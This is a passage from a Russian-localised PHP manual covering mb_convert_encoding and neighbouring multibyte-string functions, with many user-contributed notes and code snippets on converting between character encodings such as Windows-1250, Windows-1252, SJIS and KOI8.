            '/\\p{Mn}|\\p{Me}|\\p{Cf}|\\p{Lm}|\\p{Sk}|\\p{Lu}|\\p{Ll}|'.
            '\\p{Lt}|\\p{Sk}|\\p{Cs}/u', $char) == 1;
        if ($mode) {
            if (!$res)
                $mode = false;
        }
        elseif ($res) {
            $mode = true;
            $char = mb_convert_case($char, MB_CASE_TITLE, "UTF-8");
        }
        $result .= $char;
    }

    return $result;
}
?>
agash at freemail dot hu 19-Jul-2009 03:27
as the previouly posted version of this function doesn't handle UTF-8 characters, I simply tried to replace ucfirst to mb_convert_case, but then any previous case foldings were lost while looping through delimiters.
So I decided to do an mb_convert_case on the input string (it also deals with words is uppercase wich may also be problematic when doing case-sensitive search), and do the rest of checking after that.

As with mb_convert_case, words are capitalized, I also added lowercase convertion for the exceptions, but, for the above mentioned reason, I left ucfirst unchanged.

Now it works fine for utf-8 strings as well, except for string delimiters followed by an UTF-8 character ("Mcadam" is unchanged, while "mcdunno's" is converted to "McDunno's" and "okros-TOTH eDUa" in also put in the correct form)

I use it for checking user input on names and addresses, so exceptions list contains some hungarian words too.

<?php

function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("ut", "u", "s", "es", "utca", "ter", "krt", "korut", "setany", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X", "XI", "XII", "XIII", "XIV", "XV", "XVI", "XVII", "XVIII", "XIX", "XX", "XXI", "XXII", "XXIII", "XXIV", "XXV", "XXVI", "XXVII", "XXVIII", "XXIX", "XXX" )) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");

       foreach ($delimiters as $dlnr => $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $wordnr => $word){

                       if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtoupper($word, "UTF-8");
                       }
                       elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtolower($word, "UTF-8");
                       }

                       elseif (!in_array($word, $exceptions) ){
                               // convert to uppercase (non-utf8 only)

                               $word = ucfirst($word);

                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }//foreach
       return $string;
}

?>
the at psychoticneurotic dot com 08-Apr-2009 10:03
Building upon Justin's and Alex's work...

This function allows you to specify which delimiter(s) to explode on (not just the default space). Now you can correctly capitalize Irish names and hyphenated words (if you want)!

<?php
function titleCase($string, $delimiters = array(" ", "-", "O'"), $exceptions = array("to", "a", "the", "of", "by", "and", "with", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X")) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
       foreach ($delimiters as $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $word){
                       if (in_array(strtoupper($word), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = strtoupper($word);
                       } elseif (!in_array($word, $exceptions)){
                               // convert to uppercase
                               $word = ucfirst($word);
                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }
       return $string;
}
?>
info at yasarnet dot com 03-Jul-2008 11:57
For my case following did the work to capitalize UTF-8 encoded string.

function capitalize($str, $encoding = 'UTF-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $encoding), $encoding) . mb_strtolower(mb_substr($str, 1, mb_strlen($str), $encoding), $encoding);
}
Rasa Ravi at tantrajoga dot cz 30-Apr-2005 01:36
For CZECH characters:
<?php
$text = mb_convert_case($text, MB_CASE_LOWER, "Windows-1251");
?>
The right encoding Windows-1250 is not valid (see the list mb_list_encodings), but Windows-1251 will do the same 100%. The function strtolower() ignores czech characters with diacritics.


Преобразует строку из одной кодировки символов в другую

  • « mb_convert_case
  • mb_convert_kana »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Преобразует строку из одной кодировки символов в другую

mb_convert_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_encoding — Преобразует строку из одной кодировки символов в другую

Описание

mb_convert_encoding(array|string $string, string $to_encoding, array|string|null $from_encoding = null): array|string|false

Преобразует параметр string из кодировки from_encoding или текущей внутренней кодировки в to_encoding. Также можно указать необязательный параметр from_encoding. Если string является массивом (array), все его строковые (string) значения будут преобразованы рекурсивно.

Список параметров

string

Строка (string) или массив (array), для преобразования.

to_encoding

Требуемая кодировка результата.

from_encoding

Текущая кодировка, используемая для интерпретации строки string. Несколько кодировок могут быть указаны в виде массива (array) или в виде строки через запятую, в этом случае правильная кодировка будет определена по тому же алгоритму, что и в функции mb_detect_encoding().

Если параметр from_encoding опущен или равен null, то будет использоваться mbstring.internal_encoding setting, если она установлена, иначе кодировка по умолчанию.

Допустимые значения to_encoding и from_encoding указаны на странице поддерживаемые кодировки.

Возвращаемые значения

Преобразованная строка (string) или массив (array) или false в случае возникновения ошибки.

Ошибки

Начиная с PHP 8.0.0, если значение to_encoding или from_encoding является недопустимой кодировкой, выбрасывается ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | mb_convert_encoding() теперь выбрасывает ValueError, если передана недопустимая кодировка в to_encoding.
8.0.0 | mb_convert_encoding() теперь выбрасывает ValueError, если передана недопустимая кодировка в from_encoding.
8.0.0 | Теперь from_encoding может быть null.
7.2.0 | Функция теперь также принимает массив (array) в string. Ранее поддерживались только строки (string).

Примеры

Пример #1 Пример использования mb_convert_encoding()

<?php
/* Преобразует строку в кодировку SJIS */
$str = mb_convert_encoding($str, "SJIS");

/* Преобразует из EUC-JP в UTF-7 */
$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");

/* Автоматически определяется кодировка среди JIS, eucjp-win, sjis-win, затем преобразуется в UCS-2LE */
$str = mb_convert_encoding($str, "UCS-2LE", "JIS, eucjp-win, sjis-win");

/* Если mbstring.language равен "Japanese", "auto" используется для обозначения "ASCII,JIS,UTF-8,EUC-JP,SJIS" */
$str = mb_convert_encoding($str, "EUC-JP", "auto");
?>

Смотрите также

  • mb_detect_order() - Установка/получение списка кодировок для механизмов определения кодировки
  • UConverter::transcode() - Преобразует строку из одной кодировки символов в другую
  • iconv() - Преобразует строку из одной кодировки символов в другую

User Contributed Notes

Julian Egelstaff 29-Nov-2022 07:15
If you have what looks like ISO-8859-1, but it includes "smart quotes" courtesy of Microsoft software, or people cutting and pasting content from Microsoft software, then what you're actually dealing with is probably Windows-1252. Try this:

<?php
$cleanText = mb_convert_encoding($text, 'UTF-8', 'Windows-1252');
?>

The annoying part is that the auto detection (ie: the mb_detect_encoding function) will often think Windows-1252 is ISO-8859-1. Close, but no cigar. This is critical if you're then trying to do unserialize on the resulting text, because the byte count of the string needs to be perfect.
Rainer Perske 24-Aug-2022 01:35
Text-encoding HTML-ENTITIES will be deprecated as of PHP 8.2.

To convert all non-ASCII characters into entities (to produce pure 7-bit HTML output), I was using:

<?php
echo mb_convert_encoding( htmlspecialchars( $text, ENT_QUOTES, 'UTF-8' ), 'HTML-ENTITIES', 'UTF-8' );
?>

I can get the identical result with:

<?php
echo mb_encode_numericentity( htmlentities( $text, ENT_QUOTES, 'UTF-8' ), [0x80, 0x10FFFF, 0, ~0], 'UTF-8' );
?>

The output contains well-known named entities for some often used characters and numeric entities for the rest.
bmxmale at qwerty dot re 15-Feb-2022 10:00
/**
 * Convert Windows-1250 to UTF-8
 * Based on https://www.php.net/manual/en/function.mb-convert-encoding.php#112547
 */
class TextConverter
{
    private const ENCODING_TO = 'UTF-8';
    private const ENCODING_FROM = 'ISO-8859-2';

    private array $mapChrChr = [
        0x8A => 0xA9,
        0x8C => 0xA6,
        0x8D => 0xAB,
        0x8E => 0xAE,
        0x8F => 0xAC,
        0x9C => 0xB6,
        0x9D => 0xBB,
        0xA1 => 0xB7,
        0xA5 => 0xA1,
        0xBC => 0xA5,
        0x9F => 0xBC,
        0xB9 => 0xB1,
        0x9A => 0xB9,
        0xBE => 0xB5,
        0x9E => 0xBE
    ];

    private array $mapChrString = [
        0x80 => '&euro;',
        0x82 => '&sbquo;',
        0x84 => '&bdquo;',
        0x85 => '&hellip;',
        0x86 => '&dagger;',
        0x87 => '&Dagger;',
        0x89 => '&permil;',
        0x8B => '&lsaquo;',
        0x91 => '&lsquo;',
        0x92 => '&rsquo;',
        0x93 => '&ldquo;',
        0x94 => '&rdquo;',
        0x95 => '&bull;',
        0x96 => '&ndash;',
        0x97 => '&mdash;',
        0x99 => '&trade;',
        0x9B => '&rsquo;',
        0xA6 => '&brvbar;',
        0xA9 => '&copy;',
        0xAB => '&laquo;',
        0xAE => '&reg;',
        0xB1 => '&plusmn;',
        0xB5 => '&micro;',
        0xB6 => '&para;',
        0xB7 => '&middot;',
        0xBB => '&raquo;'
    ];

    /**
     * @param $text
     * @return string
     */
    public function execute($text): string
    {
        $map = $this->prepareMap();

        return html_entity_decode(
            mb_convert_encoding(strtr($text, $map), self::ENCODING_TO, self::ENCODING_FROM),
            ENT_QUOTES,
            self::ENCODING_TO
        );
    }

    /**
     * @return array
     */
    private function prepareMap(): array
    {
        $maps[] = $this->arrayMapAssoc(function ($k, $v) {
            return [chr($k), chr($v)];
        }, $this->mapChrChr);

        $maps[] = $this->arrayMapAssoc(function ($k, $v) {
            return [chr($k), $v];
        }, $this->mapChrString);

        return array_merge([], ...$maps);
    }

    /**
     * @param callable $function
     * @param array $array
     * @return array
     */
    private function arrayMapAssoc(callable $function, array $array): array
    {
        return array_column(
            array_map(
                $function,
                array_keys($array),
                $array
            ),
            1,
            0
        );
    }
}
vasiliauskas dot agnius at gmail dot com 17-Jul-2018 08:16
When you need to convert from HTML-ENTITIES, but your UTF-8 string is partially broken (not all chars in UTF-8) - in this case passing string to mb_convert_encoding($string, 'UTF-8', 'HTML-ENTITIES'); - corrupts chars in string even more. In this case you need to replace html entities gradually to preserve character good encoding. I wrote such closure for this job :
<?php
$decode_entities = function($string) {
        preg_match_all("/&#?\w+;/", $string, $entities, PREG_SET_ORDER);
        $entities = array_unique(array_column($entities, 0));
        foreach ($entities as $entity) {
            $decoded = mb_convert_encoding($entity, 'UTF-8', 'HTML-ENTITIES');
            $string = str_replace($entity, $decoded, $string);
        }
        return $string;
    };
?>
nicole 28-Dec-2015 12:37
// convert UTF8 to DOS = CP850
//
// $utf8_text=UTF8-Formatted text;
// $dos=CP850-Formatted text;

// have fun

$dos = mb_convert_encoding($utf8_text, "CP850", mb_detect_encoding($utf8_text, "UTF-8, CP850, ISO-8859-15", true));
Daniel 17-Nov-2015 04:25
If you are attempting to convert "UTF-8" text to "ISO-8859-1" and the result is always returning in "ASCII", place the following line of code before the mb_convert_encoding:

mb_detect_order(array('UTF-8', 'ISO-8859-1'));

It is necessary to force a specific search order for the conversion to work
jackycms at outlook dot com 19-Jul-2014 02:48
// mb_convert_encoding($input,'UTF-8','windows-874');  error : Illegal character encoding specified
// so convert Thai to UTF-8 is better use iconv instead

<?php

iconv("windows-874","UTF-8",$input);

?>
DanielAbbey at Hotmail dot co dot uk 05-Mar-2014 04:30
When using the Windows Notepad text editor, it is important to note that when you select 'Save As' there is an Encoding selection dropdown. The default encoding is set to ANSI, with the other two options being Unicode and UTF-8. Since most text on the web is in UTF-8 format it could prove vital to save the .txt file with this encoding, since this function does not work on ANSI-encoded text.
josip at cubrad dot com 27-Jun-2013 11:24
For my last project I needed to convert several CSV files from Windows-1250 to UTF-8, and after several days of searching around I found a function that is partially solved my problem, but it still has not transformed all the characters. So I made ??this:

function w1250_to_utf8($text) {
    // map based on:
    // http://konfiguracja.c0.pl/iso02vscp1250en.html
    // http://konfiguracja.c0.pl/webpl/index_en.html#examp
    // http://www.htmlentities.com/html/entities/
    $map = array(
        chr(0x8A) => chr(0xA9),
        chr(0x8C) => chr(0xA6),
        chr(0x8D) => chr(0xAB),
        chr(0x8E) => chr(0xAE),
        chr(0x8F) => chr(0xAC),
        chr(0x9C) => chr(0xB6),
        chr(0x9D) => chr(0xBB),
        chr(0xA1) => chr(0xB7),
        chr(0xA5) => chr(0xA1),
        chr(0xBC) => chr(0xA5),
        chr(0x9F) => chr(0xBC),
        chr(0xB9) => chr(0xB1),
        chr(0x9A) => chr(0xB9),
        chr(0xBE) => chr(0xB5),
        chr(0x9E) => chr(0xBE),
        chr(0x80) => '&euro;',
        chr(0x82) => '&sbquo;',
        chr(0x84) => '&bdquo;',
        chr(0x85) => '&hellip;',
        chr(0x86) => '&dagger;',
        chr(0x87) => '&Dagger;',
        chr(0x89) => '&permil;',
        chr(0x8B) => '&lsaquo;',
        chr(0x91) => '&lsquo;',
        chr(0x92) => '&rsquo;',
        chr(0x93) => '&ldquo;',
        chr(0x94) => '&rdquo;',
        chr(0x95) => '&bull;',
        chr(0x96) => '&ndash;',
        chr(0x97) => '&mdash;',
        chr(0x99) => '&trade;',
        chr(0x9B) => '&rsquo;',
        chr(0xA6) => '&brvbar;',
        chr(0xA9) => '&copy;',
        chr(0xAB) => '&laquo;',
        chr(0xAE) => '&reg;',
        chr(0xB1) => '&plusmn;',
        chr(0xB5) => '&micro;',
        chr(0xB6) => '&para;',
        chr(0xB7) => '&middot;',
        chr(0xBB) => '&raquo;',
    );
    return html_entity_decode(mb_convert_encoding(strtr($text, $map), 'UTF-8', 'ISO-8859-2'), ENT_QUOTES, 'UTF-8');
}
urko at wegetit dot eu 11-Sep-2012 06:17
If you are trying to generate a CSV (with extended chars) to be opened at Exel for Mac, the only that worked for me was:
<?php mb_convert_encoding( $CSV, 'Windows-1252', 'UTF-8'); ?>

I also tried this:

<?php
//Separado OK, chars MAL
iconv('MACINTOSH', 'UTF8', $CSV);
//Separado MAL, chars OK
chr(255).chr(254).mb_convert_encoding( $CSV, 'UCS-2LE', 'UTF-8');
?>

But the first one didn't show extended chars correctly, and the second one, did't separe fields correctly
qdb at kukmara dot ru 07-Nov-2011 07:44
mb_substr and probably several other functions works faster in ucs-2 than in utf-8. and utf-16 works slower than utf-8. here is test, ucs-2 is near 50 times faster than utf-8, and utf-16 is near 6 times slower than utf-8 here:
<?php
header('Content-Type: text/html; CHARSET=Windows-1251');
mb_internal_encoding('utf-8');

$s='укгез??ш?хз?х?шк2049??лдябчсячмииюсит.июб?рарэ'
.'лдэфв??у?й?уй??у034928348539857?шаыдларораш??рлоавы';
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;

$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo$a.'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'UCS-2','utf8');
mb_internal_encoding('UCS-2');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','ucs2').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'utf-16','ucs-2');
mb_internal_encoding('utf-16');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','utf-16').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

?>
output:
?х. 12416. 1.71738100052
?х. 12416. 0.0211279392242
?х. 12416. 11.2330229282
gullevek at gullevek dot org 25-Aug-2010 12:27
If you want to convert japanese to ISO-2022-JP it is highly recommended to use ISO-2022-JP-MS as the target encoding instead. This includes the extended character set and avoids ? in the text. For example the often used "1 in a circle" ? will be correctly converted then.
regrunge at hotmail dot it 14-May-2010 08:00
I've been trying to find the charset of a norwegian (with a lot of o, ?, a) txt file written on a Mac, i've found it in this way:

<?php
$text = "A strange string to pass, maybe with some o, ?, a characters.";

foreach(mb_list_encodings() as $chr){
        echo mb_convert_encoding($text, 'UTF-8', $chr)." : ".$chr."<br>";
 }
?>

The line that looks good, gives you the encoding it was written in.

Hope can help someone
Daniel Trebbien 23-Jul-2009 11:25
Note that `mb_convert_encoding($val, 'HTML-ENTITIES')` does not escape '\'', '"', '<', '>', or '&'.
me at gsnedders dot com 18-Jun-2009 03:06
It appears that when dealing with an unknown "from encoding" the function will both throw an E_WARNING and proceed to convert the string from ISO-8859-1 to the "to encoding".
chzhang at gmail dot com 05-Jan-2009 12:34
instead of ini_set(), you can try this

mb_substitute_character("none");
francois at bonzon point com 10-Nov-2008 05:05
aaron, to discard unsupported characters instead of printing a ?, you might as well simply set the configuration directive:

mbstring.substitute_character = "none"

in your php.ini. Be sure to include the quotes around none. Or at run-time with

<?php
ini_set('mbstring.substitute_character', "none");
?>
aaron at aarongough dot com 07-Nov-2008 08:24
My solution below was slightly incorrect, so here is the correct version (I posted at the end of a long day, never a good idea!)

Again, this is a quick and dirty solution to stop mb_convert_encoding from filling your string with question marks whenever it encounters an illegal character for the target encoding.

<?php
function convert_to ( $source, $target_encoding )
    {
    // detect the character encoding of the incoming file
    $encoding = mb_detect_encoding( $source, "auto" );

    // escape all of the question marks so we can remove artifacts from
    // the unicode conversion process
    $target = str_replace( "?", "[question_mark]", $source );

    // convert the string to the target encoding
    $target = mb_convert_encoding( $target, $target_encoding, $encoding);

    // remove any question marks that have been introduced because of illegal characters
    $target = str_replace( "?", "", $target );

    // replace the token string "[question_mark]" with the symbol "?"
    $target = str_replace( "[question_mark]", "?", $target );

    return $target;
    }
?>

Hope this helps someone! (Admins should feel free to delete my previous, incorrect, post for clarity)
-A
Edward 16-Sep-2008 03:54
If mb_convert_encoding doesn't work for you, and iconv gives you a headache, you might be interested in this free class I found. It can convert almost any charset to almost any other charset. I think it's wonderful and I wish I had found it earlier. It would have saved me tons of headache.

I use it as a fail-safe, in case mb_convert_encoding is not installed. Download it from http://mikolajj.republika.pl/

This is not my own library, so technically it's not spamming, right? ;)

Hope this helps.
StigC 13-Aug-2008 03:38
For the php-noobs (like me) - working with flash and php.

Here's a simple snippet of code that worked great for me, getting php to show special Danish characters, from a Flash email form:

<?php
// Name Escape
$escName = mb_convert_encoding($_POST["Name"], "ISO-8859-1", "UTF-8");

// message escape
$escMessage = mb_convert_encoding($_POST["Message"], "ISO-8859-1", "UTF-8");

// Headers.. and so on...
?>
nospam at nihonbunka dot com 15-May-2008 06:51
rodrigo at bb2 dot co dot jp wrote that inconv works better than mb_convert_encoding, I find that when converting from uft8 to shift_jis
$conv_str = mb_convert_encoding($str,$toCS,$fromCS);
works while
$conv_str = iconv($fromCS,$toCS.'//IGNORE',$str);
removes tildes from $str.
katzlbtjunk at hotmail dot com 25-Jan-2008 04:36
Clean a string for use as filename by simply replacing all unwanted characters with underscore (ASCII converts to 7bit). It removes slightly more chars than necessary. Hope its useful.

$fileName = 'Test:!"$%&/()=OAUoau<<';
echo strtr(mb_convert_encoding($fileName,'ASCII'),
    ' ,;:?*#!§$%&/(){}<>=`?|\\\'"',
    '____________________________');
rodrigo at bb2 dot co dot jp 15-Jan-2008 03:47
For those who can?t use mb_convert_encoding() to convert from one charset to another as a metter of lower version of php, try iconv().

I had this problem converting to japanese charset:

$txt=mb_convert_encoding($txt,'SJIS',$this->encode);

And I could fix it by using this:

$txt = iconv('UTF-8', 'SJIS', $txt);

Maybe it?s helpfull for someone else! ;)
mightye at gmail dot com 13-Nov-2007 09:24
To petruzanauticoyahoo?com!ar

If you don't specify a source encoding, then it assumes the internal (default) encoding.  n is a multi-byte character whose bytes in your configuration default (often iso-8859-1) would actually mean A±.  mb_convert_encoding() is upgrading those characters to their multi-byte equivalents within UTF-8.

Try this instead:
<?php
print mb_convert_encoding( "n", "UTF-8", "UTF-8" );
?>
Of course this function does no work (for the most part - it can actually be used to strip characters which are not valid for UTF-8).
volker at machon dot biz 24-Sep-2007 09:05
Hey guys. For everybody who's looking for a function that is converting an iso-string to utf8 or an utf8-string to iso, here's your solution:

public function encodeToUtf8($string) {
     return mb_convert_encoding($string, "UTF-8", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

public function encodeToIso($string) {
     return mb_convert_encoding($string, "ISO-8859-1", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

For me these functions are working fine. Give it a try
aofg 21-Aug-2007 06:49
When converting Japanese strings to ISO-2022-JP or JIS on PHP >= 5.2.1, you can use "ISO-2022-JP-MS" instead of them.
Kishu-Izon (platform dependent) characters are converted correctly with the encoding, as same as with eucJP-win or with SJIS-win.
David Hull 20-Dec-2006 10:52
As an alternative to Johannes's suggestion for converting strings from other character sets to a 7bit representation while not just deleting latin diacritics, you might try this:

<?php
$text = iconv($from_enc, 'US-ASCII//TRANSLIT', $text);
?>

The only disadvantage is that it does not convert "a" to "ae", but it handles punctuation and other special characters better.
--
David
phpdoc at jeudi dot de 05-Sep-2006 06:46
I\&#039;d like to share some code to convert latin diacritics to their
traditional 7bit representation, like, for example,

- &agrave;,&ccedil;,&eacute;,&icirc;,... to a,c,e,i,...
- &szlig; to ss
- &auml;,&Auml;,... to ae,Ae,...
- &euml;,... to e,...

(mb_convert \&quot;7bit\&quot; would simply delete any offending characters).

I might have missed on your country\&#039;s typographic
conventions--correct me then.
&lt;?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = mb_convert_encoding($text,\&#039;HTML-ENTITIES\&#039;,$from_enc);
    $text = preg_replace(
        array(\&#039;/&szlig;/\&#039;,\&#039;/&amp;(..)lig;/\&#039;,
             \&#039;/&amp;([aouAOU])uml;/\&#039;,\&#039;/&amp;(.)[^;]*;/\&#039;),
        array(\&#039;ss\&#039;,\&quot;$1\&quot;,\&quot;$1\&quot;.\&#039;e\&#039;,\&quot;$1\&quot;),
        $text);
    return $text;
}
?&gt;

Enjoy :-)
Johannes

==
[EDIT BY danbrown AT php DOT net: Author provided the following update on 27-FEB-2012.]
==

An addendum to my &quot;to7bit&quot; function referenced below in the notes.
The function is supposed to solve the problem that some languages require a different 7bit rendering of special (umlauted) characters for sorting or other applications. For example, the German &szlig; ligature is usually written &quot;ss&quot; in 7bit context. Dutch &yuml; is typically rendered &quot;ij&quot; (not &quot;y&quot;).

The original function works well with word (alphabet) character entities and I&#039;ve seen it used in many places. But non-word entities cause funny results:
E.g., &quot;&copy;&quot; is rendered as &quot;c&quot;, &quot;&shy;&quot; as &quot;s&quot; and &quot;&amp;rquo;&quot; as &quot;r&quot;.
The following version fixes this by converting non-alphanumeric characters (also chains thereof) to &#039;_&#039;.

&lt;?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = preg_replace(/W+/,&#039;_&#039;,$text);
    $text = mb_convert_encoding($text,&#039;HTML-ENTITIES&#039;,$from_enc);
    $text = preg_replace(
        array(&#039;/&szlig;/&#039;,&#039;/&amp;(..)lig;/&#039;,
             &#039;/&amp;([aouAOU])uml;/&#039;,&#039;/&yuml;/&#039;,&#039;/&amp;(.)[^;]*;/&#039;),
        array(&#039;ss&#039;,&quot;$1&quot;,&quot;$1&quot;.&#039;e&#039;,&#039;ij&#039;,&quot;$1&quot;),
        $text);
    return $text;
}
?&gt;

Enjoy again,
Johannes
mac.com@nemo 08-Jul-2006 07:38
For those wanting to convert from $set to MacRoman, use iconv():

<?php

$string = iconv('UTF-8', 'macintosh', $string);

?>

('macintosh' is the IANA name for the MacRoman character set.)
eion at bigfoot dot com 20-Feb-2006 04:54
many people below talk about using
<?php
    mb_convert_encode($s,'HTML-ENTITIES','UTF-8');
?>
to convert non-ascii code into html-readable stuff.  Due to my webserver being out of my control, I was unable to set the database character set, and whenever PHP made a copy of my $s variable that it had pulled out of the database, it would convert it to nasty latin1 automatically and not leave it in it's beautiful UTF-8 glory.

So [insert korean characters here] turned into ?????.

I found myself needing to pass by reference (which of course is deprecated/nonexistent in recent versions of PHP)
so instead of
<?php
    mb_convert_encode(&$s,'HTML-ENTITIES','UTF-8');
?>
which worked perfectly until I upgraded, so I had to use
<?php
    call_user_func_array('mb_convert_encoding', array(&$s,'HTML-ENTITIES','UTF-8'));
?>

Hope it helps someone else out
Tom Class 11-Nov-2005 07:35
Why did you use the php html encode functions? mbstring has it's own Encoding which is (as far as I tested it) much more usefull:

HTML-ENTITIES

Example:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
Stephan van der Feest 09-Sep-2005 04:47
To add to the Flash conversion comment below, here's how I convert back from what I've stored in a database after converting from Flash HTML text field output, in order to load it back into a Flash HTML text field:

function htmltoflash($htmlstr)
{
  return str_replace("&lt;br /&gt;","\n",
    str_replace("<","&lt;",
      str_replace(">","&gt;",
        mb_convert_encoding(html_entity_decode($htmlstr),
        "UTF-8","ISO-8859-1"))));
}
Stephan van der Feest 09-Sep-2005 03:50
Here's a tip for anyone using Flash and PHP for storing HTML output submitted from a Flash text field in a database or whatever.

Flash submits its HTML special characters in UTF-8, so you can use the following function to convert those into HTML entity characters:

function utf8html($utf8str)
{
  return htmlentities(mb_convert_encoding($utf8str,"ISO-8859-1","UTF-8"));
}
jamespilcher1 - hotmail 01-Feb-2004 07:55
be careful when converting from iso-8859-1 to utf-8.

even if you explicitly specify the character encoding of a page as iso-8859-1(via headers and strict xml defs), windows 2000 will ignore that and interpret it as whatever character set it has natively installed.

for example, i wrote char #128 into a page, with char encoding iso-8859-1, and it displayed in internet explorer (& mozilla) as a euro symbol.

it should have displayed a box, denoting that char #128 is undefined in iso-8859-1. The problem was it was displaying in "Windows: western europe" (my native character set).

this led to confusion when i tried to convert this euro to UTF-8 via mb_convert_encoding()

IE displays UTF-8 correctly- and because PHP correctly converted #128 into a box in UTF-8, IE would show a box.

so all i saw was mb_convert_encoding() converting a euro symbol into a box. It took me a long time to figure out what was going on.
lanka at eurocom dot od dot ua 07-Feb-2003 08:03
Another sample of recoding without MultiByte enabling.
(Russian koi->win, if input in win-encoding already, function recode() returns unchanged string)

<?php
  // 0 - win
  // 1 - koi
  function detect_encoding($str) {
    $win = 0;
    $koi = 0;

    for($i=0; $i<strlen($str); $i++) {
      if( ord($str[$i]) >224 && ord($str[$i]) < 255) $win++;
      if( ord($str[$i]) >192 && ord($str[$i]) < 223) $koi++;
    }

    if( $win < $koi ) {
      return 1;
    } else return 0;

  }

  // recodes koi to win
  function koi_to_win($string) {

    $kw = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 254, 224, 225, 246, 228, 229, 244, 227, 245, 232, 233, 234, 235, 236, 237, 238, 239, 255, 240, 241, 242, 243, 230, 226, 252, 251, 231, 248, 253, 249, 247, 250, 222, 192, 193, 214, 196, 197, 212, 195, 213, 200, 201, 202, 203, 204, 205, 206, 207, 223, 208, 209, 210, 211, 198, 194, 220, 219, 199, 216, 221, 217, 215, 218);
    $wk = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 225, 226, 247, 231, 228, 229, 246, 250, 233, 234, 235, 236, 237, 238, 239, 240, 242,  243, 244, 245, 230, 232, 227, 254, 251, 253, 255, 249, 248, 252, 224, 241, 193, 194, 215, 199, 196, 197, 214, 218, 201, 202, 203, 204, 205, 206, 207, 208, 210, 211, 212, 213, 198, 200, 195, 222, 219, 221, 223, 217, 216, 220, 192, 209);

    $end = strlen($string);
    $pos = 0;
    do {
      $c = ord($string[$pos]);
      if ($c>128) {
        $string[$pos] = chr($kw[$c-128]);
      }

    } while (++$pos < $end);

    return $string;
  }

  function recode($str) {

    $enc = detect_encoding($str);
    if ($enc==1) {
      $str = koi_to_win($str);
    }

    return $str;
  }
?>


Преобразует одну кодировку "kana" в другую ("zen-kaku", "han-kaku" и другие)

  • « mb_convert_encoding
  • mb_convert_variables »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Преобразует одну кодировку "kana" в другую ("zen-kaku", "han-kaku" и другие)

mb_convert_kana

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_kana — Преобразует одну кодировку "kana" в другую ("zen-kaku", "han-kaku" и другие)

Описание

mb_convert_kana(string $string, string $mode = "KV", ?string $encoding = null): string

Производит преобразование "han-kaku" - "zen-kaku" для строкового аргумента string. Эта функция может быть полезной только для японского языка.

Список параметров

string

Исходная строка (string).

mode

Настройка конвертации.

Задаётся комбинацией следующих настроек.

Возможные настройки преобразования
Настройка | Описание
r | Преобразование "zen-kaku" букв в "han-kaku"
R | Преобразование "han-kaku" букв в "zen-kaku"
n | Преобразование "zen-kaku" чисел в "han-kaku"
